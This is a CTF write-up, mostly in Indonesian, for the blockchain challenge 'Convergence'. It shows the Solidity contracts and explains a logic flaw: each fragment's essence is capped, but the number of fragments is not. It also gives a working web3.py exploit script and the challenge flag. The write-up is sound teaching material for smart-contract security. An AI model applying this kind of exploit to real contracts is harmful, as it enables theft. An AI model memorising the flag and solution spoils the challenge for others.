Convergence

description
Author: chovid99
Convergence.... Start challenge from: http://challenges.1pc.tf:50000/c2c2026-quals-blockchain-convergence
Attachments
Challenge.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface ISetup {
function chronicles(bytes32) external view returns (bool);
}
struct SoulFragment {
address vessel;
uint256 essence;
bytes resonance;
}
contract Challenge {
ISetup public setup;
address public ascended;
mapping(address => bool) public seekers;
mapping(address => uint256) public seekerSince;
mapping(address => uint256) public destinyPower;
mapping(address => uint256) public soulEssence;
mapping(address => uint256) public convergencePoints;
mapping(bytes32 => bool) public consumed;
uint256 public constant TRANSCENDENCE_ESSENCE = 1000 ether;
uint256 public constant CONVERGENCE_REQUIREMENT = 100;
event SeekerRegistered(address indexed seeker, uint256 timestamp);
event DestinyOffered(address indexed seeker, uint256 power);
event SoulsHarvested(address indexed seeker, uint256 essence);
event ConvergenceAchieved(address indexed seeker, uint256 points);
event Transcended(address indexed ascended);
constructor(address _setup) {
setup = ISetup(_setup);
}
function registerSeeker() external {
require(!seekers[msg.sender], "Already a seeker");
seekers[msg.sender] = true;
seekerSince[msg.sender] = block.timestamp;
emit SeekerRegistered(msg.sender, block.timestamp);
}
function offerDestiny(bytes calldata manifestation) external {
require(seekers[msg.sender], "Not a seeker");
bytes32 seal = keccak256(abi.encodePacked(msg.sender, manifestation));
require(setup.chronicles(seal), "Manifestation not chronicled");
require(!consumed[seal], "Chronicle already consumed");
consumed[seal] = true;
(
bytes[] memory threads,
,
uint256[][] memory weights
) = abi.decode(manifestation, (bytes[], bytes[], uint256[][]));
uint256 power;
for (uint i = 0; i < threads.length; i++) {
power += threads[i].length * 1e15;
}
for (uint i = 0; i < weights.length; i++) {
for (uint j = 0; j < weights[i].length; j++) {
power += weights[i][j];
}
}
destinyPower[msg.sender] += power;
emit DestinyOffered(msg.sender, power);
}
function harvestSouls(bytes calldata agreement) external {
require(seekers[msg.sender], "Not a seeker");
bytes32 seal = keccak256(abi.encodePacked(msg.sender, agreement));
require(setup.chronicles(seal), "Agreement not chronicled");
require(!consumed[seal], "Chronicle already consumed");
consumed[seal] = true;
(
SoulFragment[] memory fragments,
,
,
address binder,
) = abi.decode(agreement, (SoulFragment[], bytes32, uint32, address, address));
require(binder == msg.sender, "Not the binder");
uint256 essence;
for (uint i = 0; i < fragments.length; i++) {
essence += fragments[i].essence;
}
soulEssence[msg.sender] += essence;
emit SoulsHarvested(msg.sender, essence);
}
function achieveConvergence(bytes calldata destinyData, bytes calldata soulData) external {
require(seekers[msg.sender], "Not a seeker");
bytes32 destinySeal = keccak256(abi.encodePacked(msg.sender, destinyData));
bytes32 soulSeal = keccak256(abi.encodePacked(msg.sender, soulData));
require(setup.chronicles(destinySeal), "Destiny not chronicled");
require(setup.chronicles(soulSeal), "Soul pact not chronicled");
require(!consumed[destinySeal], "Destiny already consumed");
require(!consumed[soulSeal], "Soul pact already consumed");
consumed[destinySeal] = true;
consumed[soulSeal] = true;
(
bytes[] memory threads,
bytes[] memory anchors,
) = abi.decode(destinyData, (bytes[], bytes[], uint256[][]));
(
SoulFragment[] memory fragments,
,
,
address binder,
) = abi.decode(soulData, (SoulFragment[], bytes32, uint32, address, address));
require(binder == msg.sender, "Not the binder");
uint256 points = threads.length * anchors.length * fragments.length;
convergencePoints[msg.sender] += points;
emit ConvergenceAchieved(msg.sender, points);
}
function transcend(bytes calldata truth) external {
require(seekers[msg.sender], "Not a seeker");
require(ascended == address(0), "Another has already ascended");
bytes32 seal = keccak256(abi.encodePacked(msg.sender, truth));
require(setup.chronicles(seal), "Truth not chronicled");
(
SoulFragment[] memory fragments,
,
,
address invoker,
address witness
) = abi.decode(truth, (SoulFragment[], bytes32, uint32, address, address));
require(invoker == msg.sender, "You are not the invoker");
uint256 totalEssence;
for (uint i = 0; i < fragments.length; i++) {
totalEssence += fragments[i].essence;
}
require(totalEssence >= TRANSCENDENCE_ESSENCE, "Insufficient essence in truth");
require(witness == msg.sender, "The witness must be yourself");
ascended = msg.sender;
emit Transcended(msg.sender);
}
function getPowerLevels(address seeker) external view returns (
uint256 destiny,
uint256 soul,
uint256 convergence
) {
return (destinyPower[seeker], soulEssence[seeker], convergencePoints[seeker]);
}
}Setup.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "./Challenge.sol";
contract Setup {
Challenge public challenge;
mapping(bytes32 => bool) public chronicles;
constructor() {
challenge = new Challenge(address(this));
}
function sealDestiny(bytes calldata manifestation) external {
(
bytes[] memory threads,
bytes[] memory anchors,
uint256[][] memory weights
) = abi.decode(manifestation, (bytes[], bytes[], uint256[][]));
require(threads.length >= 1, "Destiny requires threads");
require(anchors.length >= 1, "Destiny requires anchors");
require(weights.length >= 1, "Destiny requires weights");
for (uint i = 0; i < threads.length; i++) {
require(threads[i].length > 0, "Empty thread detected");
}
for (uint i = 0; i < anchors.length; i++) {
require(anchors[i].length > 0, "Empty anchor detected");
}
for (uint i = 0; i < weights.length; i++) {
require(weights[i].length > 0, "Empty weight array detected");
}
bytes32 seal = keccak256(abi.encodePacked(msg.sender, manifestation));
require(!chronicles[seal], "Already chronicled");
chronicles[seal] = true;
}
function bindPact(bytes calldata agreement) external {
(
SoulFragment[] memory fragments,
,
,
address binder,
address witness
) = abi.decode(agreement, (SoulFragment[], bytes32, uint32, address, address));
require(fragments.length >= 1, "Pact requires soul fragments");
require(binder != address(0), "Invalid binder");
require(witness != address(0), "Invalid witness");
for (uint i = 0; i < fragments.length; i++) {
require(fragments[i].vessel != address(0), "Invalid vessel in fragment");
require(fragments[i].essence <= 100 ether, "Essence too powerful for pact");
}
bytes32 seal = keccak256(abi.encodePacked(msg.sender, agreement));
require(!chronicles[seal], "Already chronicled");
chronicles[seal] = true;
}
function isSolved() external view returns (bool) {
return challenge.ascended() != address(0);
}
}Overview
Challenge ini adalah challenge blockchain berbasis smart contract Ethereum yang mengharuskan attacker untuk mencapai kondisi ascended dengan membuat sebuah "truth" yang valid.
Terdapat dua kontrak utama:
Setup.solChallenge.sol
Tujuan utama challenge ini adalah membuat contract Challenge mengatur:
ascended = msg.sender;Namun untuk mencapai kondisi ini, terdapat beberapa validasi ketat yang harus dipenuhi.
Konsep utama challenge ini menggunakan sistem:
- SoulFragments
- Pact binding
- Chronicle verification
- Essence accumulation
Secara konsep, kita harus:
- Membuat sebuah agreement berisi SoulFragments
- Mendaftarkannya melalui
Setup.bindPact() - Menggunakan agreement yang sama untuk memanggil
Challenge.transcend() - Jika semua validasi lolos, maka address kita akan menjadi
ascended
Challenge menyediakan dua smart contract utama:
Setup.solChallenge.sol
disini saya menggunakan AI untuk menganalisa source code dari kedua contract.
Kedua contract ini menggunakan sistem chronicles, yaitu mapping hash dari data yang telah disegel.
Contoh bagian penting dari Setup.bindPact():
bytes32 seal = keccak256(abi.encodePacked(msg.sender, agreement));
chronicles[seal] = true;Artinya setiap agreement yang valid akan dicatat berdasarkan hash dari sender dan data agreement.
Validasi penting pada fragment:
require(fragments[i].essence <= 100 ether);Ini membatasi essence maksimum per fragment.
Pada contract Challenge.sol, fungsi paling penting adalah:
function transcend(bytes calldata truth) externalValidasi utamanya:
require(setup.chronicles(seal));
require(totalEssence >= TRANSCENDENCE_ESSENCE);Dimana:
TRANSCENDENCE_ESSENCE = 1000 etherJika semua validasi lolos:
ascended = msg.sender;Analisis Smart Contract
Setup.sol
Fungsi penting:
function bindPact(bytes calldata agreement) externalFungsi ini:
- Decode agreement menjadi struktur SoulFragments
- Memvalidasi setiap fragment
- Jika valid, maka akan menyimpan chronicle
chronicles[keccak256(abi.encodePacked(msg.sender, agreement))] = true;Artinya contract akan mencatat bahwa sender telah membuat pact yang valid.
Validasi penting:
require(fragment.vessel != address(0));
require(fragment.essence <= 100 ether);
require(binder != address(0));
require(witness != address(0));Batasan paling penting:
essence maksimal per fragment = 100 etherChallenge.sol
Fungsi utama exploit:
function transcend(bytes calldata truth) externalValidasi yang dilakukan:
1. Chronicle harus sudah terdaftar
require(
setup.chronicles(
keccak256(abi.encodePacked(msg.sender, truth))
)
);Artinya truth HARUS sama persis dengan agreement yang sebelumnya didaftarkan melalui bindPact.
Jika berbeda sedikit saja, maka akan gagal.
2. Invoker dan Witness harus sama dengan msg.sender
require(invoker == msg.sender);
require(witness == msg.sender);Artinya kita harus set kedua field tersebut ke address attacker.
3. Total essence harus ≥ 1000 ether
require(totalEssence >= 1000 ether);Ini adalah syarat utama untuk ascension.
Root Cause Vulnerability
Terdapat batasan:
essence per fragment ≤ 100 etherNamun total yang dibutuhkan:
≥ 1000 etherArtinya kita tidak bisa menggunakan 1 fragment saja.
Namun contract TIDAK membatasi jumlah fragment.
Sehingga kita bisa menggunakan:
10 fragmentmasing-masing:
100 etherTotal:
10 × 100 ether = 1000 etherValidasi akan lolos. Ini adalah logic flaw, bukan overflow atau bug cryptographic.
Struktur Truth
Format ABI encode:
(
SoulFragment[] fragments,
bytes32 seal,
uint32 epoch,
address invoker,
address witness
)Struktur fragment:
struct SoulFragment {
address vessel;
uint essence;
bytes resonance;
}Kita harus membuat:
- fragments = array 10 fragment
- vessel = address attacker
- essence = 100 ether
- resonance = kosong
- invoker = attacker
- witness = attacker
Langkah Penyelesaian
Step 0 — Akses RPC Node
- buka 'http://challenges.1pc.tf:50000/c2c2026-quals-blockchain-convergence'

- copy port nya dan buka url dengan port itu 'http://challenges.1pc.tf:42700/'
- setelah itu click kerjakan challenge pwn.red pow nya terlebih dahulu. dengan cara
solve in browseratau copy paste curl command ke terminal.
- hasil dari pow akan digunakan untuk verfiikasi solve challenge, dan paste ke solution.
- setelah terverifikasi launch. maka nanti akan tampil credensial untuk mengakses RPC node.

Step 1 — Register sebagai Seeker
Panggil:
challenge.registerSeeker();Ini akan mendaftarkan address kita sebagai seeker.
Step 2 — Membuat SoulFragments
Buat array berisi 10 fragment:
fragment = {
vessel: attacker address
essence: 100 ether
resonance: 0x
}Total essence:
1000 etherStep 3 — Encode Truth
Encode menggunakan ABI encode:
truth = abi.encode(
fragments,
bytes32(0),
uint32(0),
attacker,
attacker
);Step 4 — Bind Pact
Panggil:
setup.bindPact(truth);Ini akan menyimpan:
chronicles[keccak256(msg.sender, truth)] = true;Step 5 — Transcend
Gunakan truth yang sama:
challenge.transcend(truth);Semua validasi akan lolos.
Contract akan menjalankan:
ascended = msg.sender;Challenge solved.
Exploit Script (solver.py)
Berikut exploit script yang digunakan untuk solve challenge menggunakan solver.py:
from web3 import Web3
from eth_abi import encode
RPC_URL = "YOUR_RPC_URL"
PRIVKEY = "YOUR_PRIVATE_KEY"
SETUP_CONTRACT_ADDR = "SETUP_ADDRESS"
w3 = Web3(Web3.HTTPProvider(RPC_URL))
account = w3.eth.account.from_key(PRIVKEY)
setup_abi = [
{"inputs":[],"name":"challenge","outputs":[{"type":"address"}],"stateMutability":"view","type":"function"},
{"inputs":[{"name":"agreement","type":"bytes"}],"name":"bindPact","outputs":[],"stateMutability":"nonpayable","type":"function"},
{"inputs":[],"name":"isSolved","outputs":[{"type":"bool"}],"stateMutability":"view","type":"function"}
]
challenge_abi = [
{"inputs":[],"name":"registerSeeker","outputs":[],"stateMutability":"nonpayable","type":"function"},
{"inputs":[{"name":"truth","type":"bytes"}],"name":"transcend","outputs":[],"stateMutability":"nonpayable","type":"function"}
]
setup = w3.eth.contract(address=SETUP_CONTRACT_ADDR, abi=setup_abi)
challenge_addr = setup.functions.challenge().call()
challenge = w3.eth.contract(address=challenge_addr, abi=challenge_abi)
def send_tx(tx):
transaction = tx.build_transaction({
"from": account.address,
"nonce": w3.eth.get_transaction_count(account.address),
"gasPrice": w3.eth.gas_price
})
signed = w3.eth.account.sign_transaction(transaction, PRIVKEY)
tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction)
return w3.eth.wait_for_transaction_receipt(tx_hash)
# Step 1 — Register seeker
print("[*] Registering seeker...")
send_tx(challenge.functions.registerSeeker())
# Step 2 — Buat 10 fragments
print("[*] Preparing fragments...")
fragments = []
for _ in range(10):
fragments.append((account.address, w3.to_wei(100, "ether"), b""))
# Step 3 — Encode truth
print("[*] Encoding truth...")
truth = encode(
['(address,uint256,bytes)[]', 'bytes32', 'uint32', 'address', 'address'],
[fragments, b'\x00'*32, 0, account.address, account.address]
)
# Step 4 — Bind pact
print("[*] Binding pact...")
send_tx(setup.functions.bindPact(truth))
# Step 5 — Transcend
print("[*] Transcending...")
send_tx(challenge.functions.transcend(truth))
# Step 6 — Check solve
if setup.functions.isSolved().call():
print("Challenge solved")python3 solver.py

Script ini melakukan:
- Register sebagai seeker
- Membuat 10 fragment
- Encode truth
- Bind pact
- Transcend
- Verify solve
Mengapa exploit berhasil
Karena:
- Tidak ada batas jumlah fragment
- Hanya ada batas per fragment
- Chronicle hanya memverifikasi hash agreement
- Kita bisa reuse agreement yang sama
Sehingga kita bisa memenuhi requirement total essence.
setelah itu kita bisa get flag di blockchain laucher nya.

Flag
C2C{the_convergence_chall_is_basically_bibibibi}